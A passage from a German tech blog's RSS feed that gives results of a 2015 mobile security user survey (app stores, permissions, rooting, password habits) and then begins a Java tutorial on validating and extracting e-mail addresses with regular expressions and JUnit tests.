vertrauen offizielle stores" width="300" height="49" /></a></p> <hr /> <p>&nbsp;</p> <h4>37. Wie groß ist Ihr Vertrauen gegenüber anderen App-Stores?</h4> <p><em>z.B.: App Store ihres Mobilfunkbetreibers (T-Mobile Store), App Store des Geräteherstellers (Samsung App Store)</em></p> <p>Anzahl Teilnehmer: 490</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/37-vertrauen-andere-stores.jpg" rel="lightbox"><img class="alignnone wp-image-222 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/37-vertrauen-andere-stores-300x50.jpg" alt="37 vertrauen andere stores" width="300" height="50" /></a></p> <hr /> <p>&nbsp;</p> <h4>38. Haben Sie sich jemals eine App direkt von einer Website heruntergeladen und installiert?</h4> <p>Anzahl Teilnehmer: 494</p> <p>186 (37.7%): ja</p> <p>308 (62.3%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/38-direkte-installation.jpg" rel="lightbox[185]"><img class="alignnone wp-image-223 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/38-direkte-installation-150x150.jpg" alt="38 direkte installation" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>39. Achten Sie bewusst auf die benötigten Rechte, welche eine App benötigt?</h4> <p><em>z.B.: das Recht auf Ihre Kontakte zuzugreifen oder Verbindungen über das Internet aufzubauen, etc.</em></p> <p>Anzahl Teilnehmer: 495</p> <p>347 (70.1%): ja</p> <p>148 (29.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/39-rechte.jpg" rel="lightbox[185]"><img class="alignnone wp-image-224 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/39-rechte-150x150.jpg" alt="39 rechte" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>40. Wie wahrscheinlich ist es, dass Sie sich eine App installieren, obwohl Sie nicht mit den benötigten Rechten einverstanden sind?</h4> <p><em>z.B.: ein Spiel, welches Sie sich installieren möchten, benötigt das Recht auf Ihren Speicher und das Internet zuzugreifen, obwohl Sie nicht nachvollziehen können weshalb</em></p> <p>Anzahl Teilnehmer: 482</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/40-wahrscheinlich.jpg" rel="lightbox"><img class="alignnone wp-image-225 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/40-wahrscheinlich-300x50.jpg" alt="40 wahrscheinlich" width="300" height="50" /></a></p> <hr /> <p>&nbsp;</p> <h4>41. Benutzen Sie Apps, um die Berechtigungen anderer Apps zu managen und zu beschränken?</h4> <p><em>z.B.: Permission Manager, etc.</em></p> <p>Anzahl Teilnehmer: 482</p> <p>87 (18.0%): ja</p> <p>395 (82.0%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/41-apps-berechtigen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-226 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/41-apps-berechtigen-150x150.jpg" alt="41 apps berechtigen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>42. Installieren Sie sofort Updates Ihrer Apps, sobald Sie verfügbar sind?</h4> <p><em>z.B.: sobald Ihr Gerät Sie auf eine neue Version hinweist</em></p> <p>Anzahl Teilnehmer: 483</p> <p>249 (51.6%): ja</p> <p>234 (48.4%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/42-updates.jpg" rel="lightbox[185]"><img class="alignnone wp-image-227 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/42-updates-150x150.jpg" alt="42 updates" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>43. Wie regelmäßig kontrollieren Sie, ob es neue Versionen einer App zu installieren gibt?</h4> <p><em>Ohne, dass Ihr mobiles Gerät Sie darauf aufmerksam machen muss.</em></p> <p>Anzahl Teilnehmer: 483</p> <p>47 (9.7%): täglich</p> <p>95 (19.7%): wöchentlich</p> <p>29 (6.0%): mehrmals wöchentlich</p> <p>141 (29.2%): monatlich</p> <p>20 (4.1%): mehrmals monatlich</p> <p>11 (2.3%): jährlich</p> <p>140 (29.0%): nie</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/43-kontrolle-regelmäßig.jpg" rel="lightbox[185]"><img class="alignnone wp-image-228 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/43-kontrolle-regelmäßig-150x150.jpg" alt="43 kontrolle regelmäßig" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>44. Verbinden Sie Ihr mobiles Gerät regelmäßig mit einem Bluetooth Gerät?</h4> <p><em>z.B.: Bluetooth Tastatur, Freisprecheinrichtung, etc.</em></p> <p>Anzahl Teilnehmer: 479</p> <p>143 (29.9%): ja</p> <p>336 (70.1%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/44-bluetooth.jpg" rel="lightbox[185]"><img class="alignnone wp-image-229 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/44-bluetooth-150x150.jpg" alt="44 bluetooth" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>45. Verwenden Sie regelmäßig NFC auf Ihrem mobilen Gerät?</h4> <p><em>NFC steht für Near Field Communication und ist ein Übertragungsstandard zum kontaktlosen Austausch von Daten über kurze Strecken.</em></p> <p>Anzahl Teilnehmer: 479</p> <p>30 (6.3%): ja</p> <p>449 (93.7%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/45-NFC.jpg" rel="lightbox[185]"><img class="alignnone wp-image-230 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/45-NFC-150x150.jpg" alt="45 NFC" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>46. Könnten Sie sich vorstellen, in naher Zukunft, Ihr mobiles Gerät mittels NFC als Zahlungsmittel zu verwenden?</h4> <p><em>z.B.: statt mit Bargeld oder Bankomatkarte zu bezahlen, wird das mobile Gerät bei der Kassa kurz hingehalten.</em></p> <p>Anzahl Teilnehmer: 478</p> <p>168 (35.1%): ja</p> <p>310 (64.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/46-NFC-zahlungsmittel.jpg" rel="lightbox[185]"><img class="alignnone wp-image-231 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/46-NFC-zahlungsmittel-150x150.jpg" alt="46 NFC zahlungsmittel" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>47. Verwenden Sie regelmäßig WiFi-Direct?</h4> <p><em>Wi-Fi Direct ist ein Standard zur Datenübermittlung zwischen zwei WLAN-Endgeräten ohne zentralen Access Point.</em></p> <p>Anzahl Teilnehmer: 478</p> <p>68 (14.2%): ja</p> <p>410 (85.8%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/47-Wifidirect.jpg" rel="lightbox[185]"><img class="alignnone wp-image-232 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/47-Wifidirect-150x150.jpg" alt="47 Wifidirect" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>48. Haben Sie eines Ihrer aktuellen mobilen Geräte gerootet, gejailbreakt oder sonst irgendwie manipuliert?</h4> <p><em>Rooting ist ein Prozess, der den Nutzern von Android und Windows Geräten erlaubt privilegierte Rechte zu erlangen. Jailbreak bezeichnet das nicht-autorisierte Entfernen von Nutzungsbeschränkungen bei iOS Geräten, bei denen bestimmte Funktionen, welche standardmäßig gesperrt sind, freigegeben werden. Mit &#8220;sonst irgendwie manipuliert&#8221; ist entsperren oder entbranden gemeint.</em></p> <p>Anzahl Teilnehmer: 475</p> <p>105 (22.1%): ja</p> <p>370 (77.9%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/48-rooting.jpg" rel="lightbox[185]"><img class="alignnone wp-image-233 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/48-rooting-150x150.jpg" alt="48 rooting" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>49. Haben Sie das Betriebssystem eines Ihrer bisherigen mobilen Geräte gerootet, gejailbreakt oder sonst irgendwie manipuliert?</h4> <p><em>Mit &#8220;sonst irgendwie manipuliert&#8221; ist entsperren oder entbranden gemeint.</em></p> <p>Anzahl Teilnehmer: 471</p> <p>158 (33.5%): ja</p> <p>313 (66.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/49-rooting-bisher.jpg" rel="lightbox[185]"><img class="alignnone wp-image-234 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/49-rooting-bisher-150x150.jpg" alt="49 rooting bisher" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>50. Hätten Sie vor, das Betriebssystem Ihres nächsten mobilen Gerätes, sofern möglich, in irgendeiner Art und Weise zu manipulieren?</h4> <p><em>z.B: rooten oder jailbreaken</em></p> <p>Anzahl Teilnehmer: 474</p> <p>121 (25.5%): ja</p> <p>353 (74.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/50-rooting-zukunft.jpg" rel="lightbox[185]"><img class="alignnone wp-image-235 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/50-rooting-zukunft-150x150.jpg" alt="50 rooting zukunft" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>51. In welchen Abständen ändern Sie Ihre Passwörter?</h4> <p><em>z.B.: Email, Facebook, Amazon, etc.</em></p> <p>Anzahl Teilnehmer: 481</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/51-passwort-ändern.jpg" rel="lightbox"><img class="alignnone wp-image-236 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/51-passwort-ändern-300x83.jpg" alt="51 passwort ändern" width="300" height="83" /></a></p> <hr /> <p>&nbsp;</p> <h4>52. Wie schätzen Sie selbst Ihre Passwörter ein?</h4> <p>Anzahl Teilnehmer: 479</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/52-passwort-sicherheit.jpg" rel="lightbox"><img class="alignnone wp-image-237 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/52-passwort-sicherheit-300x80.jpg" alt="52 passwort sicherheit" width="300" height="80" /></a></p> <hr /> <p>&nbsp;</p> <h4>53. Achten Sie bei der Vergabe von Passwörtern explizit auf die Verwendung von Zahlen?</h4> <p><em>z.B.: statt &#8220;sommer&#8221; verwenden Sie &#8220;sommer123&#8243;</em></p> <p>Anzahl Teilnehmer: 476</p> <p>439 (92.2%): ja</p> <p>37 (7.8%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/53-passwort-zahlen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-238 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/53-passwort-zahlen-150x150.jpg" alt="53 passwort zahlen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>54. Achten Sie bei der Vergabe von Passwörtern explizit auf die Verwendung von Groß- und Kleinschreibung?</h4> <p><em>z.B.: statt &#8220;sommer123&#8243; verwenden Sie &#8220;soMMer123&#8243;</em></p> <p>Anzahl Teilnehmer: 473</p> <p>362 (76.5%): ja</p> <p>111 (23.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/54-passwort-groß-klein.jpg" rel="lightbox[185]"><img class="alignnone wp-image-239 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/54-passwort-groß-klein-150x150.jpg" alt="54 passwort groß klein" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>55. Achten Sie bei der Vergabe von Passwörtern explizit auf die Verwendung von Sonderzeichen?</h4> <p><em>z.B.: statt &#8220;Sommer123&#8243; verwenden Sie &#8220;Som=mer?123&#8243;</em></p> <p>Anzahl Teilnehmer: 474</p> <p>230 (48.5%): ja</p> <p>244 (51.5%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/55-passwort-sonderzeichen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-240 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/55-passwort-sonderzeichen-150x150.jpg" alt="55 passwort sonderzeichen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>56. Benutzen Sie Onlinedienste oder Programme, um Passwörter zu generieren?</h4> <p><em>z.B.: eine Website die Ihnen ein Passwort wie &#8220;hAOzQ!k8!d$&#8221; generiert</em></p> <p>Anzahl Teilnehmer: 474</p> <p>61 (12.9%): ja</p> <p>413 (87.1%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/56-passwort-generieren.jpg" rel="lightbox[185]"><img class="alignnone wp-image-241 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/56-passwort-generieren-150x150.jpg" alt="56 passwort generieren" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>57. Fühlen Sie sich genervt, wenn bei einer Registrierung die Eingabe eines Passwortes nur mit bestimmten Vorschriften möglich ist?</h4> <p><em>z.B.: das Passwort muss einen Großbuchstaben und ein Sonderzeichen beinhalten, ansonsten kann mit einer Registrierung nicht fortgefahren werden</em></p> <p>Anzahl Teilnehmer: 477</p> <p>299 (62.7%): ja</p> <p>178 (37.3%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/57-passwort-genervt.jpg" rel="lightbox[185]"><img class="alignnone wp-image-242 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/57-passwort-genervt-150x150.jpg" alt="57 passwort genervt" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>58. Wenn es Ihnen möglich wäre, sich mittels Fremdaccount einzuloggen, würden Sie diese Möglichkeit bevorzugen, anstatt sich neu registrieren zu müssen?</h4> <p><em>z.B.: eine Webseite oder App bietet Ihnen an, sich mittels Facebook-, Twitter-, Google-Account einzuloggen</em></p> <p>Anzahl Teilnehmer: 477</p> <p>199 (41.7%): ja</p> <p>278 (58.3%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/58-fremdaccount.jpg" rel="lightbox[185]"><img class="alignnone wp-image-243 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/58-fremdaccount-150x150.jpg" alt="58 fremdaccount" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>59. Achten Sie explizit auf eine sichere Verbindung beim Surfen im Internet über Ihr mobiles Gerät?</h4> <p><em>Zu erkennen ist eine sichere Verbindung oftmals an einem eingeblendeten Schloss-Symbol und/oder einem &#8220;https://&#8221;</em></p> <p>Anzahl Teilnehmer: 479</p> <p>231 (48.2%): ja</p> <p>248 (51.8%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/59-sichere-verbindung.jpg" rel="lightbox[185]"><img class="alignnone wp-image-244 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/59-sichere-verbindung-150x150.jpg" alt="59 sichere verbindung" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>60. Welche der folgenden Quellen würden Sie verwenden, um sich über Sicherheit von mobilen Geräten zu informieren?</h4> <p>Anzahl Teilnehmer: 462</p> <p>177 (38.3%): Magazine/Zeitschriften</p> <p>65 (14.1%): Bücher (eBooks)</p> <p>278 (60.2%): Foren</p> <p>207 (44.8%): Blogs (z.B.: androidpit.de)</p> <p>299 (64.7%): News Webseiten (z.B.: futurezone.at)</p> <p>228 (49.4%): Freunde/Verwandte</p> <p>20 (4.3%): Andere</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/60-quellen.jpg" rel="lightbox"><img class="alignnone wp-image-245 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/60-quellen-300x123.jpg" alt="60 quellen" width="300" height="123" /></a></p> <hr /> <p>&nbsp;</p> <h4>61. Wie oft informieren Sie sich über Sicherheit von mobilen Geräten?</h4> <p>Anzahl Teilnehmer: 473</p> <p>23 (4.9%): täglich</p> <p>80 (16.9%): wöchentlich</p> <p>152 (32.1%): monatlich</p> <p>92 (19.5%): jährlich</p> <p>126 (26.6%): noch seltener/gar nicht</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/61-informieren.jpg" rel="lightbox[185]"><img class="alignnone wp-image-246 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/61-informieren-150x150.jpg" alt="61 informieren" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>62. Wie interessiert sind Sie, betreffend Neuerungen und Innovationen, in Sachen mobiler Geräte?</h4> <p><em>z.B.: ab wann eine neue Version veröffentlicht wird oder ab wann ein neues Gerät auf den Markt kommt</em></p> <p>Anzahl Teilnehmer: 473</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/62-innovationen.jpg" rel="lightbox"><img class="alignnone wp-image-247 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/62-innovationen-300x48.jpg" alt="62 innovationen" width="300" height="48" /></a></p> <hr /> <p>&nbsp;</p> <h4>63. Können Sie sich vorstellen, bereits Opfer von Schadprogrammen auf Ihren mobilen Geräten geworden zu sein?</h4> <p>Anzahl Teilnehmer: 471</p> <p>214 (45.4%): ja</p> <p>257 (54.6%): nein</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/63-opfer.jpg" rel="lightbox[185]"><img class="alignnone wp-image-248 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/63-opfer-150x150.jpg" alt="63 opfer" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <h4>64. Wie hoch schätzen Sie folgende Gefahren und Attacken bei mobilen Geräten ein, selbst Opfer zu werden?</h4> <p>Falls Ihnen ein Begriff nicht bekannt sein sollte, wählen Sie bitte &#8220;niedrig&#8221;.</p> <p>Anzahl Teilnehmer: 462</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/64-gefahren-opfer.jpg" rel="lightbox"><img class="alignnone wp-image-249 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/64-gefahren-opfer-300x125.jpg" alt="64 gefahren opfer" width="300" height="125" /></a></p> <hr /> <p>&nbsp;</p> <h4>65. Bei welchen Geräten sorgen Sie sich prinzipiell mehr um Ihre Sicherheit?</h4> <p>Anzahl Teilnehmer: 471</p> <p>308 (65.4%): PC/Notebook</p> <p>33 (7.0%): Smartphone/Tablet</p> <p>111 (23.6%): Beides gleich</p> <p>19 (4.0%): Weder noch</p> <p><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/65-sicherheit-sorgen.jpg" rel="lightbox[185]"><img class="alignnone wp-image-250 size-thumbnail" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/65-sicherheit-sorgen-150x150.jpg" alt="65 sicherheit sorgen" width="150" height="150" /></a></p> <hr /> <p>&nbsp;</p> <p>&nbsp;</p> <p>Vielen Dank an alle TeilnehmerInnen!</p> <p>An dieser Stelle soll nochmals darauf hingewiesen werden, dass die Rechte dieser Arbeit und der Umfrage-Ergebnisse beim Author liegen.</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/ergebnisse-der-mobile-security-umfrage/">Ergebnisse der Mobile Security Umfrage</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  130. ]]>
  131. </content:encoded>
  132. <wfw:commentRss>
  133. http://www.gridtec.at/wp/ergebnisse-der-mobile-security-umfrage/feed/
  134. </wfw:commentRss>
  135. <slash:comments>0</slash:comments>
  136. </item>
  137. <item>
  138. <title>E-Mail Validierung und Extraktion mittels Regex</title>
  139. <link>
  140. http://www.gridtec.at/wp/e-mail-validierung-und-extraktion-mittels-regex/
  141. </link>
  142. <comments>
  143. http://www.gridtec.at/wp/e-mail-validierung-und-extraktion-mittels-regex/#comments
  144. </comments>
  145. <pubDate>Thu, 25 Jun 2015 12:54:45 +0000</pubDate>
  146. <dc:creator>
  147. <![CDATA[ Robert Gludovatz ]]>
  148. </dc:creator>
  149. <category>
  150. <![CDATA[ Java ]]>
  151. </category>
  152. <category>
  153. <![CDATA[ e-mail ]]>
  154. </category>
  155. <category>
  156. <![CDATA[ java ]]>
  157. </category>
  158. <category>
  159. <![CDATA[ regex ]]>
  160. </category>
  161. <category>
  162. <![CDATA[ Regular Expression ]]>
  163. </category>
  164. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=272</guid>
  165. <description>
  166. <![CDATA[
  167. <p>E-Mail Validierung und Extraktion mittels Regex Das Durchsuchen von Strings nach bestimmten Stellen oder das Ersetzen durch Textteile ist eine Standardaufgabe, die immer wieder bewältigt werden muss. Die E-Mail Validierung mithilfe von Regular Expressions ist eine bewährte Methode, wenn zum Beispiel bei einen Registrierungsprozess die Richtigkeit der eingegeben E-Mail überprüft werden muss. Ein weiterer Anwendungsfall wäre die Extraktion [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/e-mail-validierung-und-extraktion-mittels-regex/">E-Mail Validierung und Extraktion mittels Regex</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  168. ]]>
  169. </description>
  170. <content:encoded>
  171. <![CDATA[
  172. <h1><strong>E-Mail Validierung und Extraktion mittels Regex</strong></h1> <p>Das Durchsuchen von Strings nach bestimmten Stellen oder das Ersetzen durch Textteile ist eine Standardaufgabe, die immer wieder bewältigt werden muss. Die E-Mail Validierung mithilfe von Regular Expressions ist eine be
  173. ]]>
  174. <![CDATA[
  175. währte Methode, wenn zum Beispiel bei einen Registrierungsprozess die Richtigkeit der eingegeben E-Mail überprüft werden muss. Ein weiterer Anwendungsfall wäre die Extraktion einer oder mehreren E-Mail-Adressen aus einem Text oder Ähnlichem.<span id="more-272"></span></p> <h3>Regular Expression
  176. ]]>
  177. <![CDATA[
  178. s</h3> <p>Reguläre Ausdrücke (Regular Expressions / Regex) sind ein Mittel um Zeichenfolgen in Texten beziehungsweise zu finden und Zeichenketten zu verarbeiten. Sie sind keine Java Eigenart, sondern auch in Betriebssystemen ( z.B.: UNIX) und anderen Programmiersprachen (z.B.: C#) zu finden.
  179. ]]>
  180. <![CDATA[
  181. Unter einem Regex versteht man in Java einen String der sich an eine spezielle Syntax hält.</p> <h3>Die Validierung</h3> <p>Folgendes Regex Pattern wird in diesem Beispiel verwendet:</p><pre class="crayon-plain-tag">^[\\w!#$%&amp;'*+/=?`{|}~^-]+(?:\\.[\\w!#$%&amp;'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\
  182. ]]>
  183. <![CDATA[
  184. \.)+[a-zA-Z]{2,6}$</pre><p>Diese Kombination bedeutet, dass eine E-Mail Adresse mit einem Wort (\w), also Groß- und Kleinbuchstaben Zahlen von 0 bis 9 bzw. mit einem Sonderzeichen nach dem Protokoll <a href="http://tools.ietf.org/html/rfc5322">RFC 5322</a>, anfangen muss und mindestens einmal vor
  185. ]]>
  186. <![CDATA[
  187. kommen muss (+). Optional (*) gefolgt von einem Punkt und wieder mit Zeichen, wie Groß- und Kleinbuchstaben, Zahlen von 0 bis 9 und zuvor genannten Sonderzeichen. Danach muss ein “@” Symbol folgen. Schließlich folgt die <a href="http://de.wikipedia.org/wiki/Domain_%28Internet%29">Third- bz
  188. ]]>
  189. <![CDATA[
  190. w. Second-Level Domain</a> der E-Mail. Diese muss wieder Groß- und Kleinbuchstaben und Zahlen von 0 bis 9 beinhalten. Außerdem können an dieser Stelle ein oder mehrere Punkte befinden (+). Danach folgt die <a href="http://de.wikipedia.org/wiki/Domain_%28Internet%29">Top-Level-Domain</a>, welche mindestens zwei Groß- oder Kleinbuchstaben beinhalten muss, maximal jedoch nur sechs.</p> <p>Die Kombination aus Third-, Second- und Top-Level-Domain wird für Domains benötigt, welche zum Beispiel mit “mail.or.at“ oder “meine.adresse.at“ enden.</p> <p>Die wichtigsten Abschnitte des Patterns werden hier noch genauer erklärt:</p><pre class="crayon-plain-tag">^ # Anfang der Zeile
  191. []+ # Darin abgebildete Zeichen müssen mindestens einmal vorkommen (+)
  192. ( # Beginn der ersten Gruppe
  193. []+ # Darin abgebildete Zeichen müssen mindestens einmal vorkommen (+)
  194. )* # Ende der ersten Gruppe. Diese Gruppe ist optional (*)
  195. @ # Ein "@" muss an dieser Stelle vorhanden sein
  196. ( # Beginn der zweiten Gruppe
  197. []+ # Darin abgebildete Zeichen müssen mindestens einmal vorkommen (+)
  198. )+ # Ende der zweiten Gruppe. Diese muss mindestens einmal vorkommen (+)
  199. []{2,6} # Darin abgebildete Zeichen müssen mindestens zweimal vorkommen, maximal sechsmal
  200. $ # Ende der Zeile</pre><p>In Java wird das Pattern-Matching nun wie folgt angewendet:</p><pre class="crayon-plain-tag">package at.grid.blog.mail.validator;
  201.  
  202. import java.util.regex.Matcher;
  203. import java.util.regex.Pattern;
  204.  
  205. public class MailValidator {
  206. private static Matcher matcher;
  207.  
  208. private static final Pattern pattern = Pattern.compile("^[\\w!#$%&amp;'*+/=?`{|}~^-]+(?:\\.[\\w!#$%&amp;'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,6}$");
  209.  
  210. public static boolean validate(final String strToValidate) {
  211. matcher = pattern.matcher(strToValidate);
  212. return matcher.matches();
  213. }
  214. }</pre><p>Am Besten testet man diese Klasse nun mit einem Unit-Test, um mögliche E-Mail Adressen zu überprüfen:</p><pre class="crayon-plain-tag">package at.grid.blog.mail.validator;
  215.  
  216. import org.junit.Assert;
  217. import org.junit.Test;
  218.  
  219. public class ValidatorTest {
  220.  
  221. static final String[] VALID_MAILS = { "grid@yahoo.com", "'grid-2015@yahoo.com", "grid.2015@yahoo.com", "grid666@mt2015.com",
  222. "grid-999@gridtec.at", "grid.9000@mail.or.at", "grid@3.com", "grid@gmx.com.com", "grid+123@yahoo.com", "grid-tec+2015@google-test.com" };
  223.  
  224. static final String[] INVALID_MAILS = { "gridtec", "grid@.test.at", "grid-tec@gmx.a", "gridtec123@.de", ".my.grid123@.de.vu", ".gridg@tec.com",
  225. "grid()*@mt2012.com", "grid@%*.org", "grid..2015@gmail.com", "grid.@tec.at", "grid@grid@gmail.com", "grid@gmx.net.1a" };
  226.  
  227. @Test
  228. public final void testValid() {
  229. System.out.println("Gültige E-Mail´s :");
  230. for (String temp : VALID_MAILS) {
  231. Assert.assertEquals(MailValidator.validate(temp), true);
  232. System.out.println(temp);
  233. }
  234. }
  235.  
  236. @Test
  237. public final void testInvalid() {
  238. System.out.println("Ungültige E-Mail´s : ");
  239. for (String temp : INVALID_MAILS) {
  240. Assert.assertEquals(MailValidator.validate(temp), false);
  241. System.out.println(temp);
  242. }
  243. }
  244. }
  245.  
  246. // Ausgabe
  247. // Gültige E-Mail´s :
  248. // grid@yahoo.com
  249. // 'grid-2015@yahoo.com
  250. // grid.2015@yahoo.com
  251. // grid666@mt2015.com
  252. // grid-999@gridtec.at
  253. // grid.9000@mail.or.at
  254. // grid@3.com
  255. // grid@gmx.com.com
  256. // grid+123@yahoo.com
  257. // grid-tec+2015@google-test.com
  258. //
  259. // Ungültige E-Mail :
  260. // gridtec
  261. // grid@.test.at
  262. // grid-tec@gmx.a
  263. // gridtec123@.de
  264. // .my.grid123@.de.vu
  265. // .gridg@tec.com
  266. // grid()*@mt2012.com
  267. // grid@%*.org
  268. // grid..2015@gmail.com
  269. // grid.@tec.at
  270. // grid@grid@gmail.com
  271. // grid@gmx.net.1a</pre><p></p> <h3>Die Extraktion</h3> <p>Um E-Mail-Adressen aus einem gegebenen String zu extrahieren, wird die zuvor vorstellte Klasse und deren Unit-Test leicht abgeändert.</p> <p>Die zuvor verwendete Regex bleibt annähernd die Selbe:</p><pre class="crayon-plain-tag">[\\w!#$%&amp;'*+/=?`{|}~^-]+(?:\\.[\\w!#$%&amp;'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,6}</pre><p>Es muss lediglich das “^“ zu Beginn und das “$“ am Ende entfernt werden, da sich die gesuchten E-Mail Adressen nicht nur am Anfang oder am Ende des gegebenen Strings befinden müssen. Dabei werden alle Ergebnisse, welche mit dem Pattern übereinstimmen, einer Liste hinzugefügt:</p><pre class="crayon-plain-tag">package at.grid.blog.mail.extractor;
  272.  
  273. import java.util.ArrayList;
  274. import java.util.List;
  275. import java.util.regex.Matcher;
  276. import java.util.regex.Pattern;
  277.  
  278. public class MailExtractor {
  279.  
  280. private static final Pattern pattern = Pattern.compile("[\\w!#$%&amp;'*+/=?`{|}~^-]+(?:\\.[\\w!#$%&amp;'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,6}");
  281.  
  282. public static List&lt;String&gt; getMatchedValues(final String str) {
  283. final List&lt;String&gt; matchingValues = new ArrayList&lt;String&gt;();
  284. final Matcher matcher = pattern.matcher(str);
  285. while (matcher.find()) {
  286. matchingValues.add(matcher.group());
  287. }
  288. return matchingValues;
  289. }
  290. }</pre><p>Auch diese Klasse lässt sich leicht mittels Unit-Test überprüfen.</p><pre class="crayon-plain-tag">package at.grid.blog.mail.extractor;
  291.  
  292. import org.junit.Assert;
  293. import org.junit.Test;
  294.  
  295. public class ExtractorTest {
  296.  
  297. static final String[] EXTRACTED_MAILS = { "grid@yahoo.com", "grid666@mt2015.com", "grid@gmx.com.com" };
  298.  
